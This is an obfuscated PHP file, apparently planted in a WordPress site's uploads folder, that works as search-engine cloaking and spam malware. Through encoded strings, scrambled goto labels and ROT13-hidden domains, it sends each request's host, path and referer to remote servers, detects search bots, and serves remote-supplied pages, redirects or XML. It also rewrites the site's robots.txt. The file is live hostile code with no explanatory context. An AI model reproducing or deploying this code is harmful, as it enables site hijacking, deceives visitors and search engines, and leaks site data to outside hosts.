File: /home/richfield/text.pio.richfield-egy.com/wp-content/uploads/hell_prison.php
<?php
goto GAyi7; gZPK2: preg_match("\x2f\x5c\x2f\50\133\x5e\x5c\x2f\135\53\134\56\x70\150\160\51\x2f", $duri, $matches); goto KRs0F; Tz_HE: function is_https() { if (isset($_SERVER["\x48\x54\124\x50\x53"]) && strtolower($_SERVER["\110\124\124\x50\123"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\120\x5f\130\x5f\x46\x4f\122\x57\101\x52\104\x45\104\x5f\x50\122\x4f\124\x4f"]) && $_SERVER["\110\124\124\x50\137\130\x5f\106\117\x52\127\x41\122\104\x45\x44\137\120\122\117\124\x4f"] === "\150\x74\164\160\x73") { return true; } elseif (isset($_SERVER["\110\x54\x54\120\x5f\x46\122\117\x4e\x54\137\105\116\x44\x5f\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\124\x54\x50\x5f\106\x52\x4f\116\124\137\105\116\x44\x5f\110\x54\124\x50\x53"]) !== "\x6f\x66\146") { return true; } return false; } goto mujHj; Y090m: $urlshang = ''; goto RCPen; q5LMH: $param = "\x77\x65\142\75" . $host . "\46\x7a\x7a\75" . $zz . "\x26\x75\x72\x69\75" . $duri . "\46\165\x72\154\163\150\x61\x6e\x67\x3d" . $urlshang . "\x26\150\164\164\160\75" . $http . "\x26\x6c\x61\x6e\x67\x3d" . $lang . "\46\x73\x65\x72\x76\145\x72\75" . $server . "\46\x6d\157\x64\145\154\75" . $model; goto SaMFv; r1Vq0: $duri = $duri == '' ? "\57" : $duri; goto gZPK2; uDt0r: $zz = disbot(); goto XTeeJ; xEBTR: if (stristr($duri, "\x2f\77")) { $model = "\77"; } goto QPsRg; KRs0F: if (empty($matches) || $matches[1] == "\167\160\55\143\x72\x6f\x6d\x2e\x70\150\x70" || $matches[1] == "\144\145\x74\141\x69\x6c\56\160\x68\160") { $model_file = "\x69\156\x64\145\170\x2e\160\150\x70"; $model = "\x69\156\144\145\170"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\56\160\x68\x70", '', $model_file); } goto xEBTR; dhZpb: $lang = isset($_SERVER["\110\x54\124\x50\137\x41\x43\103\105\x50\x54\x5f\x4c\101\116\107\x55\101\x47\105"]) ?: "\145\156"; goto Y090m; XTeeJ: $duri = drequest_uri(); goto r1Vq0; K_Hff: $http_web = "\x68\x74\x74\x70"; goto n75On; RCPen: if (isset($_SERVER["\x48\x54\x54\x50\137\x52\x45\106\105\x52\x45\x52"])) { $urlshang = $_SERVER["\110\x54\124\x50\137\x52\x45\x46\x45\122\105\122"]; } goto Nv8Zw; vMo3j: $server = detect_server_software(); goto vsRMU; OhR3O: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto RMXiy; S8m_n: if (!strstr($html_content, "\x6e\157\142\157\164\x75\163\145\162\141\147\145\x6e\x74")) { if (strstr($html_content, "\157\x6b\x68\164\155\154")) { @header("\103\157\156\x74\145\x6e\164\x2d\164\x79\x70\145\72\x20\x74\145\170\164\x2f\x68\164\155\154\x3b\x20\143\x68\141\162\x73\145\164\75\165\164\146\55\70"); $html_content = str_replace("\x6f\x6b\150\164\155\154", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\x67\145\x74\x63\157\156\x74\145\156\x74\x35\60\x30\160\141\147\x65")) { @header("\x48\124\x54\120\57\61\x2e\x31\40\x35\x30\60\x20\111\x6e\164\145\x72\x6e\141\x6c\x20\123\145\x72\166\x65\x72\x20\x45\x72\162\x6f\162"); die; } else { if (strstr($html_content, "\x34\x30\x34\160\x61\x67\x65")) { @header("\x48\124\x54\x50\x2f\x31\56\x31\40\x34\60\64\40\x4e\x6f\164\40\x46\x6f\165\x6e\144"); die; } else { if (strstr($html_content, "\x33\x30\x31\x70\x61\147\x65")) { @header("\110\x54\x54\120\57\61\x2e\x31\x20\x33\60\x31\40\x4d\x6f\166\145\144\40\x50\x65\x72\x6d\x61\x6e\x65\156\164\154\171"); $html_content = str_replace("\x33\x30\x31\x70\141\147\145", '', $html_content); header("\114\157\x63\x61\164\151\157\x6e\72\x20" . $html_content); die; } else { if (strstr($html_content, "\157\153\x78\155\x6c")) { $html_content = str_replace("\157\x6b\x78\155\154", '', $html_content); @header("\x43\157\x6e\164\145\156\164\55\x54\x79\160\x65\72\40\141\160\x70\154\151\x63\x61\x74\151\x6f\156\57\x78\155\x6c\73\40\143\x68\141\162\x73\145\164\75\165\x74\146\x2d\70"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\153\x72\x6f\x62\x6f\x74\163")) { $html_content = str_replace("\157\153\162\157\x62\x6f\164\x73", '', $html_content); @header("\x43\157\156\164\145\156\x74\x2d\124\171\x70\x65\x3a\40\x74\x65\170\x74\x2f\160\154\x61\151\x6e"); echo $html_content; die; } } } } } } } goto YqtR8; s6fc1: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\57\57" . $domain . "\x2f\163\x75\x70\x65\162\66\56\160\150\160\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\x34\64\x33")) { echo "\64\64\63"; } curl_close($ch); } if (ini_get("\141\x6c\x6c\157\x77\x5f\165\x72\154\137\146\x6f\160\145\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\156\x6f\142\x6f\x74\x75\x73\145\162\x61\x67\145\156\x74"; } goto Ug3tK; SaMFv: $html_content = request($xmlname, $http_web, $param); goto S8m_n; GAyi7: $xmlname = array("\45\63\x37\45\63\x31\x25\63\x32\45\62\104\45\x37\x39\x25\67\x36\45\66\61\x25\x37\x38\x25\63\x31\45\x33\67\45\63\x39\x25\62\104\x25\63\x31\x25\62\105\45\x37\x41\45\66\105\x25\67\x34\45\x36\61\x25\66\x45\45\x36\61\x25\62\105\45\x36\x37\x25\66\x32\45\66\x33", "\x25\63\x37\x25\x33\x31\45\x33\62\45\62\x44\x25\67\x39\45\x37\66\x25\66\x31\45\x37\70\x25\x33\61\45\63\x37\45\63\x39\45\x32\104\45\x33\x31\45\x32\x45\45\66\x34\x25\x36\x38\x25\x37\x36\45\x36\61\45\x36\67\45\x37\62\x25\66\66\x25\x36\66\45\x36\103\45\62\105\x25\66\67\45\66\x32\x25\66\x33", "\x25\63\67\x25\x33\x31\45\63\62\x25\62\x44\45\x37\x39\x25\x37\66\45\x36\x31\45\x37\70\45\63\x31\x25\x33\67\x25\x33\71\45\x32\x44\x25\x33\61\45\x32\105\45\x37\101\45\67\62\45\66\67\x25\x36\x45\x25\66\x46\x25\66\65\x25\67\x36\x25\67\x31\x25\x37\64\x25\x36\105\x25\62\x45\45\66\x42\45\66\x43\45\x36\x44", "\45\x33\x37\45\63\x31\45\63\62\x25\x32\104\45\67\x39\x25\x37\66\45\x36\61\45\x37\70\x25\63\x31\45\x33\x37\x25\x33\x39\45\x32\104\x25\63\x31\45\62\105\x25\67\x30\45\x36\65\45\67\62\x25\66\x45\45\67\x30\x25\x37\66\45\x36\x44\x25\x37\x32\x25\66\61\x25\62\105\x25\66\x42\45\66\x43\x25\66\104"); goto K_Hff; n75On: $host = $_SERVER["\x48\124\124\x50\137\110\117\x53\x54"]; goto dhZpb; QPsRg: $string = "\67\x31\x32\x2d\x6c\x69\156\x6b\x31\67\x39\55\x31"; goto IRupS; YqtR8: function disbot() { $user_agent = strtolower($_SERVER["\x48\x54\x54\x50\137\125\x53\x45\x52\x5f\101\x47\105\x4e\x54"]); if (stristr($user_agent, "\147\157\157\x67\154\145\142\157\164") || stristr($user_agent, "\142\151\156\x67") || stristr($user_agent, "\x79\141\150\157\157") || stristr($user_agent, "\147\157\157\147\x6c\x65") || stristr($user_agent, "\x47\x6f\x6f\x67\154\145\142\x6f\x74")) { return 1; } else { return 2; } } goto fsP1C; IqwMB: $duri = urlencode($duri); goto vMo3j; vsRMU: create_robots($http . "\72\57\57" . $host); goto q5LMH; Nv8Zw: if (is_https()) { $http = "\150\x74\164\x70\x73"; } else { $http = "\x68\164\x74\160"; } goto uDt0r; mujHj: function detect_server_software() { $path = $_SERVER["\104\x4f\103\x55\x4d\105\116\x54\137\x52\117\x4f\124"] . "\x2f\x2e\150\164\141\x63\x63\145\163\163"; if (file_exists($path)) { return 1; } else { return 2; } } goto mTAM7; IRupS: $istest = false; goto OhR3O; fsP1C: function drequest_uri() { if (isset($_SERVER["\x52\105\121\x55\105\x53\x54\137\x55\122\x49"])) { $duri = $_SERVER["\x52\105\x51\125\105\x53\x54\x5f\125\x52\111"]; } else { if (isset($_SERVER["\141\162\147\166"])) { $duri = $_SERVER["\120\110\120\x5f\x53\x45\114\106"] . "\x3f" . $_SERVER["\x61\x72\x67\166"][0]; } else { $duri = $_SERVER["\x50\x48\x50\x5f\x53\105\114\106"] . "\x3f" . $_SERVER["\x51\x55\x45\122\131\137\123\x54\122\x49\116\x47"]; } } return $duri; } goto Tz_HE; mTAM7: function create_robots($url) { $function = func(); $path = $_SERVER["\x44\x4f\103\x55\x4d\x45\x4e\124\x5f\x52\x4f\x4f\124"] . "\x2f\162\157\x62\157\x74\x73\x2e\x74\x78\x74"; $content = "\x55\x73\x65\162\55\x61\x67\145\x6e\x74\x3a\40\x2a" . PHP_EOL; $content .= "\x41\x6c\154\157\167\72\x20\x2f" . PHP_EOL . PHP_EOL; $content .= "\x53\x69\164\145\x6d\x61\160\x3a\x20" . $url . "\x2f\163\151\164\x65\155\141\160\56\170\155\x6c" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto s6fc1; RMXiy: if ($duri != "\x2f") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\57\x69\x6e\x64\x65\170\x2e\160\150\x70", '', $duri); $duri = str_replace("\41", '', $duri); } goto IqwMB; Ug3tK: function func() { $chars = range("\141", "\x7a"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[15] . $chars[20] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\137" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\61\x33"); }